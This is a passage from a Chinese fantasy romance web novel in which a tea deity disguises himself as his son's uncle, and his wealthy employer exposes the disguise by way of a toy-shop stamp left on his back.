“茶宝,你换爸爸了么?” “你的新爸爸真好看!” “我爸爸有大肚子,也可以换吗?” 白小茶统一回答:“这个就是我爸爸噢!” 周老师疑惑又惊艳地看着眼前的人,美得不可方物,模糊性别。 白清语在微信上告知她,今天茶宝由其他人来接,也是茶宝的“爸爸”。 周老师想了很多很多,比如单亲爸爸互相抱团、比如茶宝认的干爹……但没想到是比大明星还好看的爸爸。 恍惚间,她想起惊鸿一瞥的茶宝的舅舅……不是,这一家基因这么好啊? 而且,她觉得眼前这个更像茶宝的爸爸。 周老师心里诞生一个猜测:其实是白清语和大美人的孩子互相抱错了,茶宝被认回亲爸,所以有两个爸爸。 白清语见风头出够了,抱着茶宝就要离开,突然,茶宝在耳边道:“爸爸,是老板叔叔的车!” 白清语身子一僵,不敢转身,悄悄问:“宝宝,老板叔叔在哪个方向?我们要赶紧跑了。” 白小茶:“在后面的车里。” 白清语拔腿就跑:“宝宝,抱紧爸爸。” 跟人类比赛跑,茶神没有输的,只要跑掉了,就可以说是他给茶宝找了一个演员爸爸出风头。 白清语自信满满,但是人类分外可恶。 他听见背后传来一声冷冷的警告—— “放下茶宝,再跑报警!” 茶神和茶神幼崽都很紧张,面面相觑。 白小茶:“不要抓我——” 白清语冷静捏住他的嘴巴,活学活用贺任沅的套路:“宝宝,待会儿叫我舅舅,舅舅是爸爸的一种。” 白小茶眨了眨眼,喔?宝宝有这么多舅舅噢? 第29章 白清语慢慢抱着茶宝转过身来,老实地站住,对白小茶耳语两句。 改变声音需要神力的,他还是当哑巴,反正茶宝可以当复读机。 白小茶点头,在贺任沅走过来时,道:“老板叔叔,这是我的舅舅。” 为了更加有说服力,白小茶软软地强调道:“真的噢。” 不小心被内涵的假舅舅:“……” 贺任沅一停车就看见有人抱着茶宝冲刺,第一反应是偷孩子,甚至还乔装改扮戴假发偷孩子。 可是当对方转过身来,他所有的质疑和愤怒消音。 贺任沅定定地看着眼前仿若从二次元漫画走出来的青年,对方的那双跟茶宝一样瞳色一样眼角弧度的明亮眼睛注视着他,让他产生一种是时光颠倒的错觉,仿佛曾经被这样注视过很久。 他们……认识吗? 贺任沅总觉得应该且必须从记忆里刨出一个对应的名字。 “老板叔叔,我舅舅不跟陌生人说话。” 贺任沅的幻想被茶宝无情打破,很好,是陌生人。 “茶宝,你爸爸呢?” 白小茶:“爸爸……” 白清语低头,教他道:“爸爸去江叔叔家里了。” 白小茶:“爸爸去江叔叔家里!” 贺任沅:“先上车吧。” 后面的车不满地鸣笛,催促贺任沅赶紧把车开走。 贺任沅回到车位,打开后座的车门。 白清语想了一下,低调地抱崽子坐进去。 旁边传来一声惊叹:“大美人连司机都帅炸天际!” “什么司机,一看就是夫妻好吗?一家三口!” “什么眼神,男的,那是两男的!” 贺任沅头回出现时被当成司机,但他自知现在的状态不适合开车。车辆启动缓慢地开出百来米,拐上一条人少的路,停靠路边。 早知道今日就不该因为要同时接白清语和白小茶,就抛下司机自己开车。 贺任沅拨出一个电话,言简意赅两个字:“过来。” 过来?谁过来? 两双茶色的眼睛在后座对视,不会是叫警察叔叔过来吧? 贺任沅开口:“你叫什么?跟白清语什么关系?” 白小茶充当最优质的复读机:“舅舅叫白大茶!” 白大茶,名字随意到令人生疑。 贺任沅从后视镜里盯着某个人,冷不丁道:“不热吗?把口罩摘了。” 白清语确实热了,他不习惯戴口罩,闻言便摘下来,露出颠倒众生的脸庞。 贺任沅下意识移开了眼睛目视前方,“你是哪里人?” 白清语支着梯子采茶摔下来他去接住的那一天,他躺在茶树下,隐约想起自己在崖底曾经见过一个长发的青年。 如果茶宝舅舅和白清语来自同一个地方,距离他掉崖处不远,那么此人,极有可能是他。 “三年前,武夷崖底,你有没有见过一个昏迷的男人?” 白清语想了想,坚定摇头,三年前他一直在神境中休眠,不怎么理人间事。 贺任沅仿佛搭讪失败的毛头小子:“你再想一想。” 白清语摇头。 贺任沅终于又扫了一眼后视镜正视他的容貌。小小的镜子将茶宝和其舅舅的容貌一同框进,白小茶依赖地靠在舅舅怀里,两人的眉眼粗略一找便能找到诸多共同点,血缘关系一览无遗。 他骤然产生一种踏空般的怅惘,因为白小茶舅舅强烈的存在,预示着除了白清语外,世界上存在另一个茶宝名正言顺的监护人,茶宝的生身母亲,会在未来某一刻出现。 他想把白清语和茶宝留在身边,凭什么,凭他以前当过律师帮人争过抚养权吗? 他五脏六腑回荡的情绪仿佛劈成两半,一半为莫名的不配感无尽地下沉,一半因为茶宝舅舅从天而降出现在他面前如海水沸腾冲击上涌。 矛盾的情绪撕裂感让贺任沅握紧了方向盘,不对劲,这实在是冲突了,一定有哪里不对劲。 [茶宝,以后你叫我舅舅好不好?] [舅舅是什么?] 贺任沅猛地想起自己和茶宝的对话,茶宝之前连舅舅是什么都不知道,短短几天内就跟舅舅亲如父子了? 茶宝的记性很好,绝不可能忘记的亲舅舅。这个人身份存疑,但必然不可能是茶宝的舅舅。 “茶宝,舅舅是什么?” 这个问题不需要爸爸指导,白小茶也会回答:“舅舅是爸——”爸爸的一种! 白清语眼疾手快捂住了茶宝的嘴巴,变了声线,出声盖住茶宝的声音,眼神犀利地瞪着贺任沅:“你明知道茶宝只有爸爸,你问这个问题是什么意思?” 不讲道理的时候,气势足就行了——白清语脑海中莫名出现这样的一句话。 什么意思?意思当然是怀疑你这个舅舅的身份! 贺任沅心里想着反驳,但是被大美人横眉冷对地一瞪,缓了缓道:“我就随便问问。” 白清语见贺任沅偃旗息鼓,不知怎么的,有些得意地挑眉,别以为他换了马甲就怕贺任沅了,他可是神仙,区区凡人,肉眼怎么可能识破。 他一笑,宛若一朵开在山间的木芙蓉,此山唯此一朵,所有的阳光雨露都倾注在他身上,只为他焕发勃勃生机。 贺任沅伸手把后视镜按下,冷静地拿出手机,拨打白清语的电话。 白清语紧张地按了按自己兜里的手机,幸好他提前调了静音。 他把茶宝通过主驾和副驾中间的空当递了出去:“茶宝,你的叔叔好像不开心,你安慰一下。” 后座不按常理出牌,贺任沅只好扔了手机接过茶宝,抱在自己腿上。 白小茶:“老板叔叔,你不喜欢宝宝的舅舅吗?” 贺任沅一顿:“没有不喜欢。” 白小茶想起早上有人说他爸爸不好看,于是问老板叔叔:“我舅舅好看吗?” 贺任沅勉强应付小崽子:“嗯。” 趁着贺任沅被白小茶缠住,白清语挪到贺任沅看不到的角度,掏出手机赶紧给江礼帛发消息。中午时,江礼帛打电话说他回国了想一起吃顿饭,白清语约了周末。刚才贺任沅一问他去哪,紧急时只能想到江礼帛。 [江教授,我有一点私事要办,麻烦贺少爷问起时,说我在你家吃饭。] 江教授很理解打工人偶尔需要溜号:[行。] 白清语勾起嘴角,刚直起身,就看见贺任沅一手抱着崽子,一手拿起手机给江礼帛打电话。 “白清语在你那吗?” 江礼帛:“在。” 贺任沅:“让他接电话。” 江礼帛:“他衣服脏了在洗澡,我在开线上组会,不好意思,先挂了。” 贺任沅:“……”要不是他很确定江教授和徐诏的感情,他现在就踩油门。 一个青年靠近驾驶座,弯腰敲了敲:“贺总。” 他叫陈束,是贺任沅的专职司机,离幼儿园还剩一条街时被赶下车下班,不到十分钟又被叫来上班,幸好还没走远。 贺任沅让开驾驶座,抱着白小茶打开后座的门,对坐在中间的大美人道:“让一让。” 白清语往右边坐了坐,中间被放下一个小崽子,随后贺任沅也坐了进来。 宽敞的后座空间骤然有些拥挤,白清语觉得不妙,拉着白小茶说悄悄话。 白小茶歪着脑袋听了一会儿,拍了拍脸蛋,道:“太复杂了噢舅舅。” 白清语只好自己说:“白清语去江家吃饭没空,所以让我来接茶宝,既然你来了,我也就把茶宝放心地交给你,我还有工作,先走了。” 说着,他便去摸索豪车的门把手。 贺任沅余光一瞥,看见他跟白清语一样的开车门习惯。 白清语拉了拉,发现车门被锁住,开不了,“司机先生,开一下。” 司机陈束抬起莫名其妙被按下的后视镜,抬起的一瞬间,后座一张倾国倾城的神仙面孔出现在镜中,他手指一抖,连带着话也没听清:“什、什么?” 白清语正要说话,忽地头顶一重,有只大掌覆在他脑袋上重重揉了揉。 他扭头疑惑地看向贺任沅,琥珀色的眼珠像一直突然被摸头的猫。 是真发,也没有易容的痕迹。贺任沅收回手掌,头发的触感太过撩惑人心,他在西装裤上一搓,搓没了那股柔滑的触感,目视前方:“没什么,我正好要带茶宝去买玩具,你也来逛逛吧。” 白清语:“茶宝的玩具很多,不要买了。” 收到一批玩具后,他又在拼喜喜下单了。 贺任沅忽然弯了下嘴角,有些讽刺地说:“茶宝舅舅你是不是没给茶宝买过玩具?” 管家说过,扭扭车是白小茶的第一个玩具。 白清语:“……” 贺任沅:“我当叔叔的,不能犯这种错误。” 司机很快开车到一家很大的儿童玩具商城,贺任沅也是第一次来,在店员询问的时候,直接就办了一张会员卡,先冲了十万。 十万……白清语坐立不安,很想立刻变成普通版白清语,按住贺任沅付款的手指。 贺任沅取了一个购物推车,把白小茶放在车上的儿童椅上,“喜欢什么都可以拿。” 白清语焦急,该怎么拒绝好? 白小茶对吃的来者不拒,但对玩具只有好奇,没有想买的想法,什么玩具都不如玩泥巴,“老板叔叔,这是什么?” “是一套儿童架子鼓。”贺任沅拿起鼓槌,在大鼓军鼓上随手敲了敲,敲出一段快活明快的节奏。 白清语:“五千块钱,可以换三百个小蛋糕。” “太贵了,宝宝不买。”白小茶看见另一样,“老板叔叔,这是什么?” 贺任沅:“遥控飞机。” 白清语:“两千块钱,可以换一百盒草莓。” 白小茶好不犹豫倒戈向草莓:“飞机太贵了!” “老板叔叔,这是什么?” “遥控变型汽车。”贺任沅深吸一口气,道,“只要两百元,茶宝舅舅你最好闭嘴。” 这次不等白清语找出对应的农产品价格,白小茶就道:“汽车太贵了!” “宝宝和爸爸去勺子叔叔那里打工,爸爸干一天才能买。” 贺任沅脸色微变:“什么勺子叔叔?” 白小茶立刻比划自己跟爸爸在厂里给勺子穿绳的过程。他描述地像游乐园玩了一天,体验超级棒,“老板叔叔也可以去!有免费的饭噢!” 贺任沅听完总结:“你爸爸带你去厂里干临时工,一天挣两百?” 白小茶兴奋道:“宝宝不喝水可以挣两百。” 贺任沅:“忙得水也不喝?” 白小茶不好意思地说:“有喝。” 肺部感到一阵浓重的窒息,贺任沅看着白清语,眼神略凶。 白清语被看得心慌,他把心慌归结于被雇主发现他雇职期间在外面赚外快。但他现在不是保姆白清语,遂理直气壮:“看我干什么,是他爸爸带他去的。” 茶宝你是个大漏勺宝宝。 ———————— [不讲道理的时候,气势足就行了。] 抱歉,来晚了[气势超足版] 第30章 贺任沅报复性地往推车里放玩具,白小茶坐在推车边缘,面前堆积了小山一样的包装盒。 玩具都很大型,一辆车不够装,司机陈束也帮忙推着一辆。 贺任沅道:“茶宝,除了架子鼓、飞机、汽车,其他的都是免费的。” 茶宝信以为真,贺任沅搬拼图、玩具枪等等时,没有再说太贵了,他没有觉得叔叔都是买给他的,因为看起来叔叔也很喜欢。 贺任沅看见一套儿童厨房道具大全,可以模拟炒菜时,觉得茶宝一定喜欢,刚要拿,白清语阻止了他。 “这个不行。” “为什么?” “因为白清语跟我说,他在网上下单买了,不要买重复了。” “好。”贺任沅把玩具放回去,对茶宝道,“这个你爸爸给你买了,我们看看别的。” 贺任沅目光一扫,看见一套印章玩具,拿起来看了看颜料的成分,无毒,不怕舔,可以印花花草草,也可以印猫猫狗狗。 还有专门的印章书,使用不同印章叠加印,能印出一个立体大楼。 “周老师的小红花!”白小茶指着一排奖励表扬印章道,“我有很多小红花!” 幼儿园餐厅有一个荣誉墙,挂着小孩子的头像,谁表现好谁盖一朵小红花。 贺任沅:“茶宝怎么获得的?” 白小茶道:“老板叔叔,我吃饭第一名噢!” 吃饭最多、最认真、最干净,光靠干饭就轻轻松松获得一排小红花。 贺任沅伸手拂过后腰,从善如流道:“茶宝在叔叔家吃饭也是第一名,叔叔也要奖励你。” 他抬手拿了一个小红花印章,在自己手背试了下,轻轻一按,就印下一朵可爱的红色小花。 茶宝立刻伸出胖乎乎的手背:“老板叔叔!” 贺任沅在他手背上轻轻按了一个红花:“奖励茶宝今天早上吃包子第一名。” 白小茶攥紧小手,手背展示给白清语看,“爸……舅舅,老板叔叔给的小红花。” 白清语弯了弯眼角:“茶宝真棒。” 一个手背只够盖一朵红花的,贺任沅撸起茶宝的袖子,在藕节一样白胖的手肘上又盖了一个小红旗:“奖励茶宝昨天晚上吃饺子第一名。” 白小茶:“哇!小红旗!” 陈束看着老板跟白小茶互动,幼稚地盖章游戏居然能把两个人都玩得笑呵呵的。 贺任沅握着小崽子的小手,为难地看了看:“盖满了,茶宝还有好多小红花,嗯,可以寄存在茶宝舅舅那里吗?” 白小茶一口答应:“可以的!” 爸爸也可以有茶宝赚来的小红花。 贺任沅:“请伸手。” 白清语笑着看着他们玩盖章,一时没有反应过来贺任沅在叫他,还是小崽子拉了拉他的手:“舅舅,快点。” “哦。”白清语把手放在推车扶手上,稍微拉了拉袖子。不知是不是他的错觉,贺任沅今天就没正眼看过他,叫他的时候既不叫名字也不转个目光,哪里听得出来在叫他。 贺任沅一手抓着四五个印章,在白清语手背上盖了一个100分。 “这是奖励茶宝昨天早上喝光了花生牛奶。” “花生牛奶的奖励!”茶宝目不转睛看着,爸爸也有了! 贺任沅换个印章,动作间不小心将推车上堆得高高的玩具碰落了一个,朝白清语的方向倒下。 贺任沅连忙一手挡住玩具箱,一手揽着白清语的后腰,用了点力将其往外带了一步。 白清语的外套很宽松,指缝夹着印章的手指轻松借机探入,在他后腰上一触即分。 白清语感觉到后腰处似乎有什么濡湿的东西舔了一下,好像是贺任沅冰凉的手指。 他看着贺任沅马上收回去的手,贺少爷气血不足吗?肯定是因为挑食,白小茶的手摸起来就软乎热乎的。 白小茶:“老板叔叔,还有吗?” 爸爸左手还没有呢! 贺任沅:“有。” 白清语的手背上被印了一个进步奖。 白小茶把自己的双手伸出来,跟爸爸的手挨在一起,一片红色的小徽章:“好多好多!” 白清语忍俊不禁:“因为茶宝是最可爱的宝宝,所以才有这么多。” 白小茶:“宝宝要给爸爸赚更多小红花!” 白清语忙给激动的儿子找补:“给舅舅也赚一点。” 贺任沅看着这对傻白甜,祝贺道:“加油。” 玩具商城兼具玩乐和购买的需求,贺任沅带着茶宝玩了许多玩具,玩到尽兴。 白小茶从摇摇车上下来,饿了,回去吃晚饭,干饭比摇摇车重要。 反倒是茶神本人在大号摇摇车上依依不舍。 他是月薪三万的人,坐个几块钱的摇摇车也不算奢侈吧。 白小茶仰着脑袋,看见老板叔叔又给爸爸投币,爸爸坐的是大白马,小孩子不能坐这个。 白清语朝白小茶伸手:“宝宝再坐一次。” “好噢!” 白小茶被抱在爸爸身前,腰间环着爸爸的手臂,他手指不知道按到了哪里,大白马突然唱起歌儿来。 [爸爸的爸爸叫什么……] “叫爷爷噢!”白小茶抢答。 贺任沅抱臂从侧面看着,一大一小的发色迥然不同,一个青丝如瀑,一个乌黑短发,像神仙骑着白马带着仙童下凡似的,长发甚至铺到了马背上。 音效是他关的,场内本就有儿歌播放,叠在一起太吵。没想到白小茶对《家庭礼貌称呼歌》这么感兴趣。 [爸爸的妈妈叫什么?] “奶奶!” 白清语:“宝宝真聪明。” 儿歌还挺长的,渐渐的,白小茶就不会了。 [爸爸的兄弟叫什么,爸爸的兄弟叫叔叔。] 白小茶蹙眉。 [妈妈的兄弟叫什么,妈妈的兄弟叫舅舅。] 白小茶抬头看爸爸,声音透着大大的疑惑:“舅舅?” 白清语连忙关闭儿歌,两步蹿下大白马,道:“饿了吧,舅舅带你去江叔叔家里找爸爸吃饭。” 白小茶彻底被三个称呼绕晕,舅舅叔叔和爸爸真是好复杂的关系。 白清语强调:“江叔叔做卤肉。” 白小茶顿时忘记:“好噢!” 白清语托住白小茶,对贺任沅道:“今天谢谢你来接茶宝,我现在要带茶宝去江教授家里吃饭。” 贺任沅刚要说话,白清语就道:“他以为你很忙,没有邀请你。这里离江家很近,我和茶宝自己去就好了。” 贺任沅:“我送你到门口,看见白清语接到茶宝就走。” 白清语皱眉看着他:“你不相信我的人品吗?我又不会拐走茶宝,茶宝最爱的是他爸爸,不跟爸爸在一起会哭的。” “而且,你都到门口了,江教授当然要留你吃饭,可是又没有你的饭,多尴尬。” 贺任沅退一步道:“我送你到小区门口。” 白清语倒是不怕他守在门口等,反正自己一进小区就变成普通版白清语,而茶宝舅舅当然是从后门走了。 贺任沅消费够多,商家免费送玩具上门,他顺手买了个儿童座椅,还让陈束安装好了。 此时司机下班,他的心情逐渐沉稳下来,开车载着二人去江家。 临下车前,贺任沅冷不丁问:“茶宝怎么更像你?” 白清语:“外甥肖舅,要不怎么说娘家舅大呢?我比白清语更有话语权,而且我不是你的保姆,不受你欺负。” 白清语打算塑造一个不讲理的舅舅形象,免得贺任沅觉得他跟白清语一样逆来顺受,天天在他身上打探疑点。 贺任沅抄腰:“我什么时候欺负他了?” 白清语一愣,好吧好吧,就当没有吧。 “茶宝饿了,我先上楼去。” 贺任沅看着两人的背影,重重抹了一把脸,坐回驾驶座,驱车离开。 白清语鬼鬼祟祟地躲在保安亭后面偷看,见他离开,抱着茶宝跑出去,找到卤肉摊,买了一些卤肉、鸡爪、鸡翅、猪耳朵,还拿了一个卤套肠给白小茶磨牙。 白小茶咬着层层叠叠很有嚼劲的套肠,嘴巴吃得油光水滑,顾不上听爸爸又在瞎编什么。 打包好了,打电话给江教授:“茶宝想念爷爷奶奶了,我可以带他去你家吗?” 江教授:“求之不得,你在哪里,我开车去接。” 白清语:“到你家小区门口了。” 他抱着白小茶,专门往黑黝黝的地方走,在没人的绿化带树林里,变成了普通的容貌,一出来,正好看见江礼帛。 “江叔叔!”白小茶喊道。 “茶宝!”江礼帛后面还跟着徐诏。 徐诏申请抱白小茶:“我抱着茶宝,妈肯定对我另眼相看,沾沾茶宝的福气。” “徐叔叔好。”白小茶吃卤料吃得两手都是汁水。 徐诏穿着一身白色卫衣,顾不上在意,刚抱到手里就说:“叔叔的衣服待会儿就要洗,弄脏也没关系。” 但他只抱了一会儿,因为许丽娉也迫不及待地下楼,把茶宝抱到自己怀里。 白清语看着一会儿的功夫,大家衣服上都沾了一点卤汁,深深觉得买卤味是个错误。 上楼之后,江父打开电视的少儿频道,又打开两瓶小酒配下酒菜,“大人喝这个,小孩不喝。” 白小茶:“宝宝不喝。” 白清语也不喝,他喝果汁。 过一会儿,白小茶吃完了,擦干净手和嘴巴,又变回干净白嫩的脸蛋,不嫌弃茶宝的众人纷纷嫌弃起自己,去屋里换了衣服,才敢去抱茶宝。 江礼帛道:“我给你一套运动服,你也换吧。” 白清语今天穿的是白T和外套,脏了特别明显。 白清语刚想拒绝,想到自己今晚还要回家,总不能让贺任沅看见跟茶宝舅舅穿一样的衣服,遂同意:“谢谢。” 白清语和江礼帛身高差不多,衣服正合身,换衣服时把所有的印章洗得干干净净。 晚上九点,动画片看到第二集 的白小茶躺在爸爸腿上睡着,白清语用自己的外套裹住,道:“挺晚了,我带茶宝回去睡觉。” 许丽娉挽留道:“今晚就在这睡吧,明天小礼上班顺便送你回去。” 白清语抱着小崽子走到玄关,道:“没事,我坐地铁回去就成了。” 徐诏蹲下穿好鞋子,道:“我送吧,我顺路。” 许丽娉:“那也行,开车慢点。” 江礼帛跟着穿鞋:“妈,我监督他开车。” 许丽娉拍了他胳膊一下,儿大不中留,算了,今天看到茶宝她高兴,管他的年轻人要去哪过二人世界。 白清语跟着江礼帛和徐诏去地下车库的路上,拒绝了贺任沅派司机来接他的提议。 他揣好手机,视线刚抬起,看见徐诏在江教授脸上亲了一下,方才去开驾驶座的车门。 白清语眨了眨眼,虽然一直听许阿姨抱怨儿子是同性恋,但他没啥概念。 男人和男人也能这样子亲嘴啊,好像还不错的样子。 白清语小心地抱着茶宝坐进车:“麻烦了。” 二十分钟后,徐诏开车抵达贺家别墅,不等他下车给白清语开车门,等候已久的贺任沅便代劳了。 贺任沅:“不用下车了,改日再聚。” 徐诏:“行。” 白清语目送汽车离开,转身抱着茶宝回屋。路灯将地上的两道身影拉得瘦瘦长长的,不用方向的光源投来,影子一会儿叠在一起,一会儿各自分开,但是始终保持一米的距离。 过了一会儿,白清语转身问贺任沅:“你跟着我干嘛?” 而且他总觉得贺任沅一直盯着他后背看,目光能把他的衣服烧穿一个洞。 贺任沅:“换衣服了?洗澡了?” 白清语:“没有洗澡,衣服被茶宝吃饭弄脏了,江教授借我的衣服。” 等等,贺任沅怎么知道他换衣服了? 贺任沅:“嗯,我看着觉得不是你的衣服。” 白清语松一口气,对贺任沅跟着他这件事解除警惕。贺任沅喜欢茶宝,想多看两眼茶宝,很正常。 贺任沅跟着白清语爬楼梯。贺任沅垂在身侧的手微微攥紧,按理说孩子应该他抱的,但是,为了心中那点可笑的猜测验证,他只能按捺住冷眼旁观。 江礼帛的运动服上衣有些长,就算白清语走楼梯时微微弯着腰,手上还抱着一个小崽子,后腰始终被衣服盖得严严实实。 旁观到了三楼,什么也没看到,还不如去抱孩子。 印章时想到就去做了,此时此刻却没有勇气掀开谜底。 贺任沅站在离白清语一尺之遥,抱着手臂,神色变来变去,他的教养不允许他掀人衣服,但是不盖在白清语看不见的地方会被擦掉。 白清语弯腰把小崽子放在床上,一边下逐客令:“我要洗澡了,少爷你回去吧。” 洗澡?印章不防水。 没有时间犹豫,或许他永远等不到茶宝舅舅的下一次出现,就像这次毫无预兆的降临。 在白清语直起身之前,贺任沅逼近一步一手揽住他的肩免得挣扎,一手推高他的运动服。 他瞳孔一缩—— 白皙的后腰上,他给茶宝舅舅盖的小狗印章赫然再现。 ———————— 说谎是小狗! 30-40 第31章 白清语感觉到后腰一凉,堂堂茶神被人类以轻薄的姿势挟持,他挣了一下,竟然挣开了去,迅速背靠着墙壁站好,警惕地看着贺任沅。 “你在干什么?” 贺任沅伸手掐住他的下巴,指腹在他脸颊上重重地碾过,茶宝舅舅的脸蛋是真的,那么眼前这张脸就是假的。 白清语到底是神秘的科技力量易了容,还是超出科学能解释的范畴? 他把白清语的脸搓红了,也没有任何端倪。 看来是科学无法解释的范畴。 白清语像只惨遭蹂躏的猫,红着脸贴在墙上,不是,贺任沅好好的动手干嘛? 贺任沅见他主动罚站,站到了白清语原先的位置,弯腰帮白小茶盖被子,仿佛此举只是为了把白清语赶走。 白清语的眼神从警惕变成疑惑。 贺任沅坐在床尾,一只手扣住了茶宝的手腕,胖乎乎的,忍不住捏了一捏。他目光投在白小茶睡着的面孔上,这个小崽子有一双茶色的眼睛,无论和白清语,还是白大茶都一样。 所有猜测和证据都指向,白清语和白大茶是同一个人。 小崽子没有舅舅,只有爸爸,所以会对白大茶如此依赖,父子俩的说话语气不曾变过。 贺任沅确定了,然后呢? 他该如何质问?被人类揭发后,白清语会不会立刻消失?! 这是他一整天都在思考的问题,他并不像表面上这样镇定,他心里有极大的恐慌。 白清语一月内能换仨工作,他敢指望白清语有任何长性和责任感吗? 那就装傻吗? 不。 贺任沅不想再对失去的记忆糊里糊涂,他的记忆丢失不能用医学解释,白清语的容貌不能用科学解释,两者相遇,定然会碰出一个答案! 律师有追求真相的勇气,但也惧怕不可挽回的失去。 贺任沅眸色越来越深,问话之前,他必须把白小茶抓在手里当人质。 当然这样可能一点用都没有,但至少比抓白清语的手腕有用一点。 白小茶安安静静地睡着,砸吧了下嘴巴,仿佛在梦里也在品尝美食。 白清语浑然不知,贺任沅抓着茶宝的手腕是在扣押人质。他见贺任沅沉默不说话,立刻觉得自己占据了道德制高点,气势十足地问:“你掀我衣服干嘛?” 贺任沅:“你可以掀回来。” 白清语:“……”我掀你衣服干嘛。 可恶,当过律师的就是会诡辩逃脱道德制裁。 白清语眼神下意识朝他的腰腹处看去,剪裁得体的灰色衬衫扎进裤子里,被一条皮带束缚住,贺任沅没有穿外套,宽肩窄腰像他和茶宝在广场上看过的裸上身雕塑。 茶神还没有使用过皮带,因为看着很麻烦,只有贺任沅才会每天都穿西装打领带。 贺任沅脱衣服是先拉出衬衫下摆,还是先解开皮带? 白清语冷哼一声:“你以为我不敢吗?你过来。”以牙还牙罢了。 贺任沅稳坐不动,不放开白小茶:“自己过来。” 白清语鼓了鼓脸颊,走到床边,站到贺任沅身后,伸手去摸索他的皮带扣,等下给他解开就扔垃圾桶里,让贺任沅狼狈地回去。 白皙修长的手指一摸到皮带扣,他明显感觉到自己冒犯了贺任沅,因为贺任沅呼吸重了。 贺任沅:“我拉的是你后面的衣服。” 白清语小声逼逼:“那我就不能拉前面的吗?” 虽然这么说着,他抽回手,不客气地揪着贺任沅后背的衬衫用力一扯。 衬衫的褶皱在他手里展开,像掀起盖头一样,白清语漫不经心地一扫,突然被皮带上方的一块青色胎记吸引住。 等等,不是胎记,是一片茶神的纹身,隐约有神力流动。 白清语单手揪住衬衫,右手伸出在那里一拂,指尖触到茶叶图案时,一股熟悉的灵力即时隐没入自身。 他精神一凛,贺任沅怎么会有这种东西?! 白清语想摇醒白小茶,醒醒啊茶宝,我们在人间好像真的有亲戚。 贺任沅是不是某一代茶神在人间的后代? 搞不好真的是隔着十七八代的舅舅。 不对不对,茶神有两百多岁,按辈分,贺任沅才应该叫他和茶宝祖宗。 白清语重重戳着茶叶纹身,问:“少爷,你怎么有茶叶纹身?” 贺任沅心道,白清语笨一点,眼睛幸好没瘸,总算看见了。他今天拿出白清语送给他的黄山毛峰,边喝边强迫自己去想,越发确定自己在崖下见过长发美人,白清语那头发世间独一无二,他不会认错。 他被救回来后,医生说他大难不死,而且只是皮肉伤,匪夷所思,有没有可能,他是被白清语救治了? 贺任沅:“不知道,三年前忽然就有了。” 白清语:“你是说,是无缘无故浮现的?不是你纹上去的?” “嗯,洗不掉。”贺任沅目光紧盯着白清语,希望他想起点什么。 白清语思考,难怪他给贺任沅输入灵力畅通无阻,原来本自同源。 贺任沅提示:“三年前我在武夷山下昏迷,醒来就有了。” [有没有想起你曾经救过一个人并给他打上标记?] 白清语恍然大悟,他想得没错,本来凡人没有的,贺任沅去武夷,感应到了祖宗的血脉才有了茶叶标志。 不过,也有蹊跷,按理说每一代茶神只能有一个后代,因为世界上不需要很多只干饭不干活的神仙。 但是上古神仙的事情谁懂呢,他们有很多已失传的神操作,万一有办法在人间搞出一个私生子呢? 贺任沅见白清语一直处于纠结的思考中,便知自己目的达成一半——在揭穿白清语之前,先让白清语对自己产生牵挂,才不会直接跑路。 这枚茶叶起到了作用。 “白清语,你有没有茶宝舅舅的联系方式?” 白清语吓一跳:“不行噢,茶宝舅舅是个大美人,肯定很多人想骚扰他,所以他不跟陌生人说话。” 贺任沅:“……”谁要骚扰了? 贺任沅:“那你帮我转告一句话。” 白清语:“行。” 贺任沅:“我今天给他盖小红花时,不小心在他后腰印了一只癞皮狗,让他洗澡的时候照照镜子,别忘记洗了。” 什么癞皮狗?白清语猛地一惊,捂住后腰,他怎么不知道?贺任沅是诈他的吗? 冷静冷静——白清语马上躲进卫生间:“我上个厕所。” 他把门一关,侧对着镜子掀起运动服,微微一转身体,赫然看见一只红色印章。 什么癞皮狗,明明是很可爱的小狗。 等等,贺任沅刚才掀起他的衣服……贺任沅怀疑他了? 他就出现一下午,就被人类怀疑了?贺任沅是人吗?不行,他得马上跑路,被人类发现终归有风险。 噢,小崽子还在外面! 白清语冲出浴室,正想抱起小崽子就原地消失,然后发现茶宝的手被贺任沅抓着。 他挠了挠脸蛋,也不是没有其他办法带崽跑路,就是要耗费很多神力,令他有些犹豫。 贺任沅也不是坏人,而且他有茶叶印章,搞不好是自己人。 再看看情况。 贺任沅抬眸:“看到了?” 白清语装傻:“……什么?” “洗掉了?”贺任沅眸光一暗,就知道他会装傻,不动声色打感情牌,“茶宝好像更喜欢本来的你,今天你抱着他时,我有几次伸手想接过来,他都不愿意,紧紧贴着你的头发。” 白清语一愣,思维瞬间被带跑,从掉马踏进育儿。 因为漂亮爸爸皮肤在人间稀有掉落,所以每次茶宝都很高兴。总是被人说跟爸爸长得不一样,怀疑父子关系,茶宝虽然每次都帮着解释“这就是我爸爸”,但他还那么小,心里总会有点难过的吧?就像在幼儿园门口被人说爸爸不好看会眼圈红红。 白清语绞着手指,他的手指很漂亮,独一无二的一双手,总不能既长在白清语身上,又长在茶宝舅舅身上。 这是他最大的破绽。 是贺任沅看见茶宝舅舅第一时间起疑的缘故。 贺任沅循循善诱:“我从个人角度,还是建议你变回来,当然,你的头发有些特殊,可以做些处理。” 白清语:“啊,不会惹人怀疑吗?” 贺任沅:“你见过影视剧里的化妆手段吗?完全能做到在脸上再蒙上一层假皮,改变容貌。” 他拿出跟当事人沟通的最大耐心:“你的顾虑是什么?” 任何人一听贺任沅这样的语气,都会觉得他十分可靠,能解决一切问题。 白清语朴实道:“也没有什么顾虑,怕被骗去夜总会上班。” 贺任沅赞扬道:“是个好顾虑,但我这里不是夜总会,我们签订了正规劳动合同。” 白清语觉得有道理,况且总是用假面目,也是需要消耗神力的,考虑到凡人的接受能力,白清语跑进卫生间变回来。 大美人一颦一笑都摇曳生光,白清语站在镜子前,一愣,他刚才在卫生间还想着出去就抵死不认的啊!自己居然对贺任沅这么信任吗?可是……贺任沅身上有茶神标记,肯定不是坏人。 白清语从卫生间出来,贺任沅呼吸一窒,移开目光,半晌,哑着嗓子问:“你是神仙吗?” 白清语低调地说:“只是个不干事的茶神,所以你如果向我许愿当世界首富是没有用的。” 茶神,白清语果然跟茶叶有关! 贺任沅:“我不会向你许愿,也不会告诉别人。” 白清语松一口气,那就好,要是遇到向神仙索取的人类,他要尽快离开。 不愧是智商很高的贺任沅,接受能力也很好。 贺任沅垂眸看向茶宝:“那茶宝是……” 他心里闷闷的,如果茶宝的母亲也是神…… 白清语终于逮着机会把茶宝从贺任沅手边推开,他机智地推离贺任沅的一臂范围,动作间垂下来的青丝扫过贺任沅的手背。 贺任沅收回了手。 白清语眉眼弯弯,很笃定地说:“茶宝是我无性繁殖的,从我树根上长出来的,可爱吧?” 